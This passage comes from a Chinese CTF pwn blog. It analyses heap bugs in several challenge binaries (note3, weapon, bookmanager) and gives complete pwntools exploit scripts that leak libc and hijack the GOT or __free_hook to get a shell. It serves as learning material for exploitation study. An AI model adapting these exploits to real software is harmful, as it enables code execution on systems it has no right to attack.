其中的sub_4008DD函数如下

unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
  char v4; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

以for循环读入内容,判断条件是a2 - 1 > i这里的a2是我们申请chunk时输入的size,而i是一个无符号整型数,有符号整型数和无符号整形术作比较会先将有符号数转为无符号数,再做比较。当我们输入的size=0时,假设此时i=0,int(0-1)和unsigned int(0)作比较,我写了一个demo,能更清楚的看到结果

#include <stdio.h>
int main()
{
    int a=0;
    unsigned int b=0;
    if(a-1>b)
        printf("1");
    else
        printf("2");
    return 0;
}

所以,只要我们输入的size为0,edit功能就可以无限制输入,剩下的就是unlink了,unlink到0x6020c8-0x18,然后该改啥改啥

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary = './zctf_2016_note3'
io = process('./zctf_2016_note3')
#io = remote('node3.buuoj.cn', 25470)
elf = ELF('zctf_2016_note3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(size, content):
    io.recvuntil("option--->>")
    io.sendline(str(1))
    io.recvuntil("(less than 1024)")
    io.sendline(str(size))
    io.recvuntil(':')
    io.sendline(content)


def edit(index, content):
    io.recvuntil("option--->>")
    io.sendline(str(3))
    io.recvuntil(":")
    io.sendline(str(index))
    io.recvuntil(":")
    io.sendline(content)


def dele(index):
    io.recvuntil("option--->>")
    io.sendline(str(4))
    io.recvuntil(":")
    io.sendline(str(index))


ptr = 0x6020c8
payload = p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)
add(0x80, payload)  # 0
add(0, 'a')  # 1
add(0x80, 'a')  # 2
add(0x10, 'c')  # 3
dele(1)
payload = p64(0)*2+p64(0xa0)+p64(0x90)
add(0, payload)
dele(2)
payload = p64(0)*2+p64(elf.got['free'])*2+p64(elf.got['atoi'])*3
edit(0, payload)

edit(0, p64(elf.plt['puts'])[:-1])
# gdb.attach(io)
dele(1)
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success('puts_addr => {}'.format(hex(atoi_addr)))
libc_base = atoi_addr-libc.symbols['atoi']
system_addr = libc_base+libc.symbols['system']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
edit(3, p64(system_addr))
io.recvuntil("option--->>")
io.sendline('/bin/sh\x00')
io.interactive()

0xe.de1ctf_2019_weapon

这题是我接触的第一道通过stdout泄露libc地址的题目,当初拿着大佬的exp一步步调的,做法跟npuctf的badguy差不多的,就不细🔒了,直接上大佬的exp

#!/usr/bin/python
from pwn import *
context(log_level="debug")


def create(index, size, name):
    t.sendlineafter('choice >> \n', '1')
    t.sendlineafter('size of weapon: ', str(size))
    t.sendlineafter('index: ', str(index))
    t.sendafter('\n', name)


def delete(index):
    t.sendlineafter('choice >>', '2')
    t.sendlineafter('input idx :', str(index))


def rename(index, name):
    t.sendlineafter('choice >>', '3')
    t.sendlineafter('input idx: ', str(index))
    t.sendafter('new content:', name)


def exploit():
    # raw_input()
    create(0, 0x20, p64(0) * 2 + p64(0x31))
    create(1, 0x20, 'bbbb')
    create(2, 0x60, 'bbbb')
    create(3, 0x60, 'cccc')
    delete(0)
    delete(1)

    rename(1, '\x18')
    create(0, 0x20, 'aaaa')
    create(1, 0x20, p64(0) * 2 + p64(0xa1))
    delete(0)
    create(4, 0x60, '\xdd\x25')
    create(5, 0x60, 'aaaa')
    delete(3)
    delete(5)
    rename(5, '\x30')
    create(3, 0x60, 'aaaa')
    create(3, 0x60, 'aaaa')
    #gdb.attach(t)
    create(3, 0x60, '\x00')
    rename(3, cyclic(51) + p64(0xfbad1887) + p64(0) * 3 + '\x08')
    t.recvn(57)
    addr_libc = u64(t.recvn(6).ljust(8, '\x00')) - 200 - 0x3c5540
    log.success('[+] libc_base: ' + hex(addr_libc))
    magic = addr_libc + 0xf1147
    addr_hook = addr_libc + 0x3c4b10
    log.success('[+] addr_hook: ' + hex(addr_hook))
    create(5, 0x60, 'aaaa')
    create(6, 0x60, 'aaaa')
    delete(6)
    delete(5)
    rename(5, p64(addr_hook - 0x23))
    create(6, 0x60, 'aaaa')
    create(7, 0x60, cyclic(19) + p64(magic) * 3)
    t.sendlineafter('choice >> \n', '1')
    t.sendlineafter('size of weapon: ', '10')
    t.sendlineafter('index: ', '8')


if __name__ == '__main__':
    while(True):
        try:
            #t = remote('node3.buuoj.cn', 28913)
            t = process('./de1ctf_2019_weapon')
            exploit()
            t.interactive()
        except:
            t.close()
            continue

0xf.[OGeek2019]bookmanager

这题,👴还是太菜了,碰到这种代码量巨大的题目就昏了头,满眼的*,太顶了,👴的代码审计能力还是弱的一批。

这题我看的ex师傅的exp调试的,由于程序有八个功能,👴做题时看到第二个功能就萎了,太长🌶,👴受⑧了,直接就上网搜了一波exp,拿着ex师傅的exp调试完后就一把梭,这样还是不好,所以在这里把整个程序的功能实现完整的复现一遍

首先是main函数

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  void *s; // [rsp+18h] [rbp-8h]

  sub_C1A();
  s = malloc(0x80uLL);
  memset(s, 0, 0x80uLL);
  sub_D97();
  input(s, 30LL);
  printf("book name: %s\n", s, a2);
  while ( 1 )
  {
    menu();
    input_size();
    switch ( off_2554 )
    {
      case 1u:
        add_chapter(s);
        break;
      case 2u:
        add_section(s);
        break;
      case 3u:
        add_text(s);
        break;
      case 4u:
        remove_chapter(s);
        break;
      case 5u:
        remove_section(s);
        break;
      case 6u:
        remove_text(s);
        break;
      case 7u:
        preview(s);
        break;
      case 8u:
        update(s);
        break;
      case 9u:
        puts("See you");
        exit(0);
        return;
      default:
        puts("Invalid choice!");
        break;
    }
  }
}

程序一开始分配一个0x80的chunk,然后往chunk中读入bookname,接着是经典的switch语句,八个功能,我们依次来分析

1.add_chapter()

int __fastcall add_chapter(__int64 a1)
{
  signed int v2; // [rsp+18h] [rbp-8h]
  signed int i; // [rsp+1Ch] [rbp-4h]

  v2 = -1;
  for ( i = 0; i <= 11; ++i )
  {
    if ( !*(a1 + 8 * (i + 4LL)) )
    {
      v2 = i;
      break;
    }
  }
  if ( v2 == -1 )
    return puts("\nNot enough space");
  *(a1 + 8 * (v2 + 4LL)) = malloc(0x80uLL);
  printf("\nChapter name:");
  return input(*(a1 + 8 * (v2 + 4LL)), 32LL);
}

add_chapter功能接受的参数为main函数中分配的0x80大小chunk的指针,为方便,后面统称为book_chunk

程序通过for循环,以*(a1 + 8 * (i + 4LL))遍历book_chunk,初始为*(a1 +0x20),如果*(a1 + 8 * (i + 4LL))为空,则分配一个0x80的chunk,指针放入该位置,然后通过这个指针往对应chunk写入数据。根据这个功能我们就能写出book_chunk的结构体了,如下

struct book
{
    char name[32];
    char *chapter[12];
}

2.add_section()

unsigned __int64 __fastcall add_section(__int64 a1)
{
  const char *v1; // rsi
  __int64 v2; // rbx
  signed int i; // [rsp+18h] [rbp-48h]
  signed int j; // [rsp+1Ch] [rbp-44h]
  char s; // [rsp+20h] [rbp-40h]
  unsigned __int64 v7; // [rsp+48h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  memset(&s, 0, 0x20uLL);
  printf("\nWhich chapter do you want to add into:", 0LL);
  v1 = &qword_20;
  input(&s, 32LL);
  for ( i = 0; i <= 11; ++i )
  {
    if ( *(a1 + 8 * (i + 4LL)) )
    {
      v1 = *(a1 + 8 * (i + 4LL));
      if ( !strncmp(&s, v1, 0x20uLL) )
      {
        for ( j = 0; j <= 9; ++j )
        {
          if ( !*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) )
          {
            v2 = *(a1 + 8 * (i + 4LL));
            *(v2 + 8 * (j + 4LL)) = malloc(0x30uLL);
            printf("0x%p", *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)));
            printf("\nSection name:");
            input(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)), 32LL);
            *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 40LL) = 32;
            return __readfsqword(0x28u) ^ v7;
          }
        }
        printf("\nNot enough space");
      }
    }
  }
  printf("\nChapter not found!", v1);
  return __readfsqword(0x28u) ^ v7;
}

add_section()接收的参数也为book_chunk,实际上,八个功能接收的参数都为book_chunk。函数首先要求输入chaptername,然后进入for循环,一共有两个for循环,第一个for循环遍历book_chunk,然后依次对比每个chaptername和我们输入的chaptername是否一致,如果一致则进入下一层循环,v1 = *(a1 + 8 * (i + 4LL)),v1则被赋值为对应的chapterchunk指针。

进入下一层循环后,已久会用上一层循环的判断方式,(\(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)),我们来分析一下这一串指针的意思,第一部分*(a1 + 8 * (i + 4LL)),这其实就是v1,原式可以化简为*(v1 + 8 * (j + 4LL)),v1指向chapterchunk,所以*(v1 + 8 * (j + 4LL))的最小值为*(v1 +0x20)。如果*(v1 + 8 * (j + 4LL))没有值,那么分配一个0x30的chunk,将指针存入其中,所以我们也能写出chapter的结构体,如下

struct chapter
{
    char name[32];
    char* section[10];
}

然后打印出我们申请的sectionchunk的地址,往sectionchunk读入数据,并将sectionchunk+40的位置写入32。

3.add_text()

unsigned __int64 __fastcall add_text(__int64 a1)
{
  char *v1; // rsi
  __int64 v2; // rbx
  size_t v3; // rax
  signed int v5; // [rsp+14h] [rbp-14Ch]
  signed int i; // [rsp+18h] [rbp-148h]
  signed int v7; // [rsp+1Ch] [rbp-144h]
  char s2; // [rsp+20h] [rbp-140h]
  char s; // [rsp+40h] [rbp-120h]
  unsigned __int64 v10; // [rsp+148h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  printf("\nWhich section do you want to add into:");
  v1 = (&off_18 + 6);
  input(&s2, 30LL);
  v5 = 0;
LABEL_12:
  if ( v5 <= 9 )
  {
    for ( i = 0; ; ++i )
    {
      if ( i > 9 )
      {
        ++v5;
        goto LABEL_12;
      }
      if ( *(a1 + 8 * (v5 + 4LL)) )
      {
        if ( *(*(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL)) )
        {
          v1 = &s2;
          if ( !strcmp(*(*(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL)), &s2) )
            break;
        }
      }
    }
    printf("\nHow many chapters you want to write:", &s2);
    v7 = input_size();
    if ( v7 <= 256 )
    {
      v2 = *(*(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL));
      *(v2 + 32) = malloc(v7);
      printf("\nText:");
      input(&s, 256LL);
      v3 = strlen(&s);
      memcpy(*(*(*(a1 + 8 * (v5 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
    }
    else
    {
      printf("\nToo many");
    }
  }
  else
  {
    printf("\nSection not found!", v1);
  }
  return __readfsqword(0x28u) ^ v10;
}

这个程序通过我们输入的sectionname来定位sectionchunk,和上一个功能的定位方式一样。

定位了section之后,首先输入textsize,然后分配一个textsize大小的chunk,并将指针存入sectionchunk+32的位置处,接着往t栈中的一个变量s写入数据,然后将写入s的数据复制到textchunk,同样我们也能写出section的结构体,如下

struct section
{
    char name[32];
    char* text;
}

4.remove_text()

unsigned __int64 __fastcall remove_text(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-118h]
  signed int j; // [rsp+1Ch] [rbp-114h]
  char s1; // [rsp+20h] [rbp-110h]
  unsigned __int64 v5; // [rsp+128h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("\nSection name:");
  input(&s1, 255LL);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *(a1 + 8 * (i + 4LL)) )
    {
      for ( j = 0; j <= 9; ++j )
      {
        if ( *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL))
          && !strcmp(&s1, *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)))
          && *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) )
        {
          free(*(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL));
          *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) = 0LL;
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

remove_text,通过sectionname定位sectionchunk,然后free掉该sectionchunk中的textchunk指针指向的chunk,然后将指针清零

5.remove_section()

unsigned __int64 __fastcall remove_section(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-118h]
  signed int j; // [rsp+1Ch] [rbp-114h]
  char s1; // [rsp+20h] [rbp-110h]
  unsigned __int64 v5; // [rsp+128h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("\nSection name:");
  input(&s1, 255LL);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *(a1 + 8 * (i + 4LL)) )
    {
      for ( j = 0; j <= 9; ++j )
      {
        if ( *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) && !strcmp(&s1, *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL))) )
        {
          if ( *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) )
          {
            free(*(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL));
            *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) = 0LL;
          }
          free(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)));
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

这个同样是先输入sectionname,定位到sectionchunk,然后先判断textchunk指针是否存在,存在的话就将textchunk free掉并将指针清零,然后free掉sectionchunk

6.remove_chapter()

unsigned __int64 __fastcall remove_chapter(__int64 a1)
{
  signed int i; // [rsp+18h] [rbp-118h]
  signed int j; // [rsp+1Ch] [rbp-114h]
  char s1; // [rsp+20h] [rbp-110h]
  unsigned __int64 v5; // [rsp+128h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("\nChapter name:");
  input(&s1, 255LL);
  for ( i = 0; i <= 9; ++i )
  {
    if ( *(a1 + 8 * (i + 4LL)) && !strncmp(&s1, *(a1 + 8 * (i + 4LL)), 0x20uLL) )
    {
      for ( j = 0; j <= 9; ++j )
      {
        if ( *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) )
        {
          if ( *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) )
          {
            free(*(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL));
            *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL) = 0LL;
          }
          free(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)));
          *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) = 0LL;
        }
      }
      free(*(a1 + 8 * (i + 4LL)));
      *(a1 + 8 * (i + 4LL)) = 0LL;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

通过chaptername定位到chapterchunk,然后依次将该chapterchunk下所有的textchunk,sectionchunk free并清零,最后将chapterchunk free并清零

7.preview()

int __fastcall preview(__int64 a1)
{
  __int64 v1; // rax
  signed int i; // [rsp+18h] [rbp-8h]
  signed int j; // [rsp+1Ch] [rbp-4h]

  LODWORD(v1) = printf("\nBook:%s", a1);
  for ( i = 0; i <= 9; ++i )
  {
    v1 = *(a1 + 8 * (i + 4LL));
    if ( v1 )
    {
      LODWORD(v1) = printf("\n  Chapter:%s", *(a1 + 8 * (i + 4LL)));
      for ( j = 0; j <= 9; ++j )
      {
        v1 = *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL));
        if ( v1 )
        {
          printf("\n    Section:%s", *(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)));
          LODWORD(v1) = printf("\n      Text:%s", *(*(*(a1 + 8 * (i + 4LL)) + 8 * (j + 4LL)) + 32LL));
        }
      }
    }
  }
  return v1;
}

这个功能就是show功能,从bookchunk开始,一级一级的输出所有chapter,section,text

8.update()

unsigned __int64 __fastcall update(__int64 a1)
{
  char *v1; // rsi
  signed int i; // [rsp+1Ch] [rbp-124h]
  signed int v4; // [rsp+20h] [rbp-120h]
  signed int v5; // [rsp+24h] [rbp-11Ch]
  signed int v6; // [rsp+28h] [rbp-118h]
  signed int v7; // [rsp+2Ch] [rbp-114h]
  char s; // [rsp+30h] [rbp-110h]
  unsigned __int64 v9; // [rsp+138h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  memset(&s, 0, 0x100uLL);
  printf("\nWhat to update?(Chapter/Section/Text):", 0LL);
  input(&s, 255LL);
  if ( !strcmp(&s, "Chapter") )
  {
    printf("\nChapter name:", "Chapter");
    v1 = &qword_20;
    input(&s, 32LL);
    for ( i = 0; i <= 9; ++i )
    {
      if ( *(a1 + 8 * (i + 4LL)) )
      {
        v1 = &s;
        if ( !strcmp(*(a1 + 8 * (i + 4LL)), &s) )
        {
          printf("\nNew Chapter name:", &s);
          input(*(a1 + 8 * (i + 4LL)), 32LL);
          printf("\nUpdated", 32LL);
          return __readfsqword(0x28u) ^ v9;
        }
      }
    }
    printf("\nNot found!", v1);
LABEL_34:
    printf("\nNothing has been done!");
    return __readfsqword(0x28u) ^ v9;
  }
  if ( !strcmp(&s, "Section") )
  {
    printf("\nSection name:", "Section");
    input(&s, 32LL);
    while ( v4 <= 9 )
    {
      if ( *(a1 + 8 * (v4 + 4LL)) )
      {
        while ( v5 <= 9 )
        {
          if ( *(*(a1 + 8 * (v4 + 4LL)) + 8 * (v5 + 4LL)) && !strcmp(&s, *(*(a1 + 8 * (v4 + 4LL)) + 8 * (v5 + 4LL))) )
          {
            printf("\nNew Section name:");
            input(*(*(a1 + 8 * (v4 + 4LL)) + 8 * (v5 + 4LL)), *(*(*(a1 + 8 * (v4 + 4LL)) + 8 * (v5 + 4LL)) + 40LL));
            printf("\nUpdated");
            return __readfsqword(0x28u) ^ v9;
          }
          ++v5;
        }
      }
      ++v4;
    }
    goto LABEL_34;
  }
  if ( !strcmp(&s, "Text") )
  {
    printf("\nSection name:", "Text");
    input(&s, 32LL);
    while ( v6 <= 9 )
    {
      if ( *(a1 + 8 * (v6 + 4LL)) )
      {
        while ( v7 <= 9 )
        {
          if ( *(*(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL)) && !strcmp(&s, *(*(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL))) )
          {
            printf("\nNew Text:");
            input(*(*(*(a1 + 8 * (v6 + 4LL)) + 8 * (v7 + 4LL)) + 32LL), 255LL);
            printf("\nUpdated", 255LL);
            return __readfsqword(0x28u) ^ v9;
          }
          ++v7;
        }
      }
      ++v6;
    }
    goto LABEL_34;
  }
  printf("\nInvalid!", "Text");
  return __readfsqword(0x28u) ^ v9;
}

根据我们输入的是Chapter/Section/Text来判断我们要更新哪部分

这个功能其实没啥好讲的,也就是各种遍历,通过name来定位chapter/section/text,然后修改内容。

好了,到这里八个功能都分析完了,c语言的指针真是灵魂,从一个chunk指向另一个chunk,还可以继续指向下一个chunk,俄罗斯套娃。

那么,程序的漏洞在哪,第一个在remove_section()函数中,free了sectionchunk后并未清零,第二个在update()函数中,在更新text功能中,输入的size固定为255,这里就有堆溢出漏洞,整个程序的功能一大堆,看起来很复杂,但实际上利用起来很简单,只要仔细分析程序这两个洞也并不难找。

下面放出ex师傅的exp

#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
context.binary = './bookmanager'
io = process('./bookmanager')
#io = remote('node3.buuoj.cn', 25525)
elf = ELF('./bookmanager')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')


def add_chapter(chapter):
    io.recvuntil("choice:")
    io.sendline("1")
    io.recvuntil("name:")
    io.send(chapter)


def add_section(chapter, section):
    io.recvuntil("choice:")
    io.sendline("2")
    io.recvuntil("into:")
    io.sendline(chapter)
    io.recvuntil("0x")
    section_ptr = int(io.recvuntil("\n")[:-1], 16)
    io.recvuntil("name:")
    io.send(section)
    return section_ptr


def add_text(section, size, text):
    io.recvuntil("choice:")
    io.sendline("3")
    io.recvuntil("into:")
    io.sendline(section)
    io.recvuntil("write:")
    io.sendline(str(size))
    io.recvuntil("Text:")
    io.send(text)


def remove_chapter(chapter):
    io.recvuntil("choice:")
    io.sendline("4")
    io.recvuntil("name:")
    io.sendline(chapter)


def remove_section(section):
    io.recvuntil("choice:")
    io.sendline("5")
    io.recvuntil("name:")
    io.sendline(section)


def remove_text(text):
    io.recvuntil("choice:")
    io.sendline("6")
    io.recvuntil("name:")
    io.sendline(text)


def preview():
    io.recvuntil("choice:")
    io.sendline("7")


def update_text(section, text):
    io.recvuntil("choice:")
    io.sendline("8")
    io.recvuntil("Text):")
    io.sendline("Text")
    io.recvuntil("name:")
    io.sendline(section)
    io.recvuntil("New Text:")
    io.send(text)


io.recvuntil('Name of the book you want to create: ')
io.send('a' * 30)

add_chapter('aaaa\n')
add_section('aaaa\n', 'bbbb\n')
add_section('aaaa\n', 'cccc\n')
add_text('bbbb\n', 0x88, '\n')
add_text('cccc\n', 0x68, 'here\n')
remove_text('bbbb\n')
add_text('bbbb\n', 0x88, '\x78')
preview()

io.recvuntil('Section:bbbb')
io.recvuntil('Text:')

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c4b78
log.success('libc_base => {}'.format(hex(libc_base)))
add_section('aaaa\n', 'dddd\n')
update_text('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) +
            'dddd'.ljust(0x20, '\0') + p64(libc_base + libc.symbols['__free_hook']))
update_text('dddd\n', p64(libc_base + libc.symbols['system']))


remove_text('cccc\n')

io.interactive()

保护全开的堆题利用第一步就是得先泄露libc地址,通过addtext,removetext,addtext,preview这四步就能泄露出libc地址

然后再add一个sectionchunk,sectionname为dddd,这个section紧接着textcccc,然后update textcccc,通过堆溢出,将sectiondddd+32的位置处写入free_hook的地址,这样,当我们编辑sectiondddd的text时,就相当于编辑free_hook,只需要往其中写入system,然后remove textcccc即可getshell

以后还是得仔细分析程序,无论是这种功能很多的堆题,还是vmpwn,只要c语言基础足够扎实,就算分析得慢,也还是能搞定的。

0x10.ciscn_2019_final_4

这题知识点挺多,不错的题目

首先检查保护

除了PIE其他的保护都开启

接下来分析程序,祭出IDA

程序没有去除符号表,降低了分析难度

在进入菜单循环之前有这么一段代码

首先fork一个子进程,


文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
路由器环境搭建 路由器环境搭建
首先是安装binwalk,有两种方法 方法1:sudo apt-get install binwalk 方法2: git clone https://github.com/attify/firmware-analysis-toolki
2020-05-17
下一篇 
PWN学习记录 PWN学习记录
babyheap考察点:unsortedbin attack,house of sprit,global_max_fast,fastbin attack 按照流程,首先checksec保护全开的堆题,并且由于开启了Full RELRO,所
2020-04-09
  目录